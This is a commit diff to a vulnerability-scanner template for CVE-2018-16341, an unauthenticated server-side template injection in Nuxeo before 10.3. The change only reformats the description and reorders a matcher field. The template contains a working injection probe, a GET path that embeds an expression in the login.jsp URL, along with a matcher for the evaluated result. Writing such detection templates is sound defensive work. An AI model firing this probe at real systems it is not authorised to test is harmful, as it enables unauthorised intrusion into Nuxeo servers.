Update CVE-2018-16341.yaml
parent
8e26871500
commit
48fa6b5acb
|
@ -4,7 +4,8 @@ info:
|
|||
name: Nuxeo <10.3 - Remote Code Execution
|
||||
author: madrobot
|
||||
severity: high
|
||||
description: Nuxeo prior to version 10.3 is susceptible to an unauthenticated remote code execution vulnerability via server-side template injection.
|
||||
description: |
|
||||
Nuxeo prior to version 10.3 is susceptible to an unauthenticated remote code execution vulnerability via server-side template injection.
|
||||
classification:
|
||||
cve-id: CVE-2018-16341
|
||||
reference:
|
||||
|
@ -15,10 +16,11 @@ requests:
|
|||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/nuxeo/login.jsp/pwn${31333333330+7}.xhtml"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "31333333337"
|
||||
part: body
|
||||
|
||||
# Enhanced by mp on 2022/06/13
|
||||
|
|
Loading…
Reference in New Issue